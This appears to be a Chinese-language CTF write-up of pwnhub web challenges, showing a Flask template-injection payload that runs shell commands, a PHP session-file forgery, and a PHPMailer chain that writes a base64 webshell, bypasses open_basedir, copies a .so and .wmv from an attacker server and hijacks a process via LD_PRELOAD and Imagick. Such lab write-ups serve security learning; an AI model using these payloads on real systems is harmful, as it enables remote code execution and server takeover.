0x00 前言
打了一下pwnhub补充了一下知识库,发现自己还是太菜了,有些地方确实不懂
公开赛
Templateplay
主页没看到什么注入点
js改个UA就进
很明显的ssti
过滤很多,先fuzz一下 直接出来了… 爽局
用fuzz的payload直接cat flag会500不怎么理解
最后用nl * 才看到
{{self._TemplateReference__context.joiner.__init__.__globals__.os.popen("nl+/www/config/*").read()}}
复盘还是看一下源码
from flask import Flask, render_template_string, render_template
from flask import request
import re
rapp = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def index():
return render_template("index.html")
@app.route("/view_template")
def view_template():
ua = request.headers.get("User-Agent")
if ua != "Admin/5.0":
return render_template_string('''<p>user-agent error</p>''')
exit(0)
string = request.values.get("string")
patter1 = re.compile(r"\{\{[a-z]?_[a-z]?\.|[a-z]?\"[a-z]*\.|[a-z]?\(.?\)\.|[a-z]?\[.?\]\.|[a-z]?\'[a-z]?\.|\|")
unsafe_string = patter1.findall(string)
if unsafe_string:
return render_template_string('''<p>hello hacker</p>''')
exit(0)
patter = re.compile(r"\{\{[a-z]{1,4}\..*|\{\{[0-9\*\+-]{1,10}\}\}|[0-9a-z]*")
template_str = patter.findall(string, 0, 100)
if template_str[0] == "":
return render_template_string('''<p>You input string unavailable</p>''')
exit(0)
template = ''' <div class="center-content error"> <h1>Template generate demo</h1> <h3>%s</h3> </div> ''' % (template_str[0])
return render_template_string(template), 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port='5000')
抽象看一下hack_word正则
\{\{[a-z]?_[a-z]?\. #{{字母{0:1}_字母{0:1}.
[a-z]?\"[a-z]*\. #字母{0:1}"字母{0:}.
[a-z]?\(.?\)\. #字母{0:1}(any{0:1}).
[a-z]?\[.?\]\. #字母{0:1}[any{0:1}].
[a-z]?\'[a-z]?\. #字母{0:1}'字母{0:1}.
\| # |
必须索引到的正则 or You input string unavailable
\{\{[a-z]{1,4}\..*
\{\{[0-9\*\+-]{1,10}\}\} #数字+-* {1:10}
[0-9a-z]* #任意字母数字
看看官方的wp
{{ads.__init__.__globals__.__builtins__.__import__("os").popen("cat+config/flag.txt").read()}}
一步步过一下
get新姿势
可能运气好,感觉这道并不是特别折磨
MyNotes
世面见得少,个人心目中这道比内部赛的都要难一些 555
远程不让log in了 本地搭了一个
比较直接 session admin校验过就给flag
然后在lib找到一些关键的函数
function is_admin() {
if (!isset($_SESSION['admin'])) {
return false;
}
return $_SESSION['admin'] === true;
}
全局并没发现能直接给$_SESSION[“admin”]赋值的
开始想歪了点,以为要用到readfile触发phar反序列化,但是metadata不可控,后面就天马行空了
php session序列化机制
参考文章
https://xz.aliyun.com/t/6640
序列化处理器默认为php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
?session=kidult
以 | 为分隔符,前面为键名,后面为经过序列化后的值
在靶机环境新建一个用户test一下观察一下session
user|s:6:“kidult”;notes|a:1:{i:0;a:3:{s:5:“title”;s:1:“a”;s:4:“body”;s:12:“hello,kidult”;s:2:“id”;s:64:“79307b7881bfd3f2840fb8e07e6410964f6b7e34b318750f284cd8a383804211”;}}
可见用户名、notes信息都经序列化后存放在session文件中
而我们的目标是 $_SESSION[‘admin’] === true
布尔值序列化
那么我们是不是可以自己构造一个session文件使 admin|b:1; 存在呢
注意到在export.php中我们是能自己写文件的
a r c h i v e − > o p e n ( archive->open( archive−>open(path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
<?php
require_once('init.php');
if (!is_logged_in()) {
redirect('/?page=home');
}
$notes = get_notes();
if (!isset($_GET['type']) || empty($_GET['type'])) {
$type = 'zip';
} else {
$type = $_GET['type'];
}
$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;
if ($type === 'tar') {
$archive = new PharData($path);
$archive->startBuffering();
} else {
// use zip as default
$archive = new ZipArchive();
$archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
}
for ($index = 0; $index < count($notes); $index++) {
$note = $notes[$index];
$title = $note['title'];
$title = preg_replace('/[^!-~]/', '-', $title);
$title = preg_replace('#[/\\?*.]#', '-', $title); // delete suspicious characters
$archive->addFromString("{$index}_{$title}.json", json_encode($note)); //唯一可控点
}
if ($type === 'tar') {
$archive->stopBuffering();
} else {
$archive->close();
}
header('Content-Disposition: attachment; filename="' . $filename . '";');
header('Content-Length: ' . filesize($path));
header('Content-Type: application/zip');
readfile($path);
这里很巧妙的一点
传 ?type=. 进去
. 和前面的 . 拼接成 .. 被替换为空
这样如果我们的username 为 sess_ 拼接上后面的就成为了一个session文件名了
sess_xxxxxxx
localtest一下
可以看到 0_aa之前都是乱码 那么可以通过 |N;来闭合前面的
title设置为 |N;admin|b:1;
就能达成我们的目的
最后改一下cookie即可伪造成为admin用户
brain.md
1.建立用户名sess_
2.title设置为|N;admin|b:1;
3.访问 /export.php?type=.
下载我们伪造的session文件
4.将cookie改成session文件名sess_ 后面的内容
done
内部赛
MockingMail
一开始确实傻不拉几的set smtp.qq.com
还把账号密码都set了…
为我自己的智商感到着急…
看了一下phpmail 版本6.4.1
https://cn-sec.com/archives/713252.html
CVE-2021-3603
validaddress传参可执行php代码
当然没那么简单让你直接rce,很多都被ban了
接着往下走
注意smtp_logs方法我们是可以写文件的
近乎原题 pathinfo绕过
参考文章
https://www.anquanke.com/post/id/253383
关于pathinfo 的绕过基本上都是针对于后缀名的检测,利用 1.php/. 绕过对后缀名的检测,pathinfo 获取的文件的后缀名为NULL
实操一下看到extension检测是为空的
1.php也成功写入了
function smtp_logs($log_name){ // Record your SMTP information
$log_path = 'logs/'.md5("Mockingjay".$_SERVER['REMOTE_ADDR']);
@mkdir($log_path);
chdir($log_path);
file_put_contents($log_path.'/index.php', '<?php echo "Go,Way!";?>');
if(isset($log_name)){
$log_name = isset($log_name) ? $log_name : date('-Y-m-d');
$smtp_log = $_SESSION['smtpserver']."\n".$_SESSION['smtpuser']."\n".$_SESSION['smtppass'];
$smtp_log = htmlspecialchars($smtp_log, ENT_HTML401 | ENT_QUOTES);
$blacklists = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml");
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), $blacklists, true)) {
file_put_contents($log_name, $smtp_log);
$filepath = $log_path.'/'.$log_name;
echo $filepath;
}
}
}
现在我们可以写入后缀名为php的文件了,那么只需绕过htmlspecialchars即可两个参数均可控
file_put_contents($log_name, $smtp_log);
🐖🧠过载 把file_put_cpntents套伪协议绕过整忘了
https://whippet0.github.io/2020/09/30/file_put_contents/
当初有一道绕过死亡exit()的题目
插点官方wp的话
当初交内部赛的wp写的太潦草了,本来想重拿比赛环境再写一份
不知道哪个缺德崽把源码删了…
现在settings中写入base64_encode的shell
/index.php?addr=php://filter/write=convert.base64-decode/resource=shell.php/.&select=stmp_logs
发包之后logs/xxx/目录下就成功写码了
蚁剑插件可以直接bypass
hint: flag in /root/
https://www.jianshu.com/p/71cb0ee0f0ea
sudo提权
done
反思
本来想手动挡bypass,也想用imagick处理.wmv启动新进程劫持
但由于只知道原理没实践过,一开始没成功 --> 还是自动挡好用
看一下官方wp
先是open_basedir绕过
然后将VPS上的文件copy过来
(当初傻不拉几以为 xx.wmv文件不存在都没事…)
然后putenv + new Imagick(‘xxx.wmv’)即可劫持成功
?cmd=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');ch
dir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('http://xxxxx
/hack.so','/tmp/hack.so');copy('http://xxxx/hack.wmv','/tmp/hack.wmv');
?cmd=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');ch
dir('..');chdir('..');chdir('..');ini_set('open_basedir','/');putenv("LD_PRELOAD=/tmp/h
ack.so");$img = new Imagick('/tmp/hack.wmv');
0x01 rethink
沉住气,果真还得自己实践一下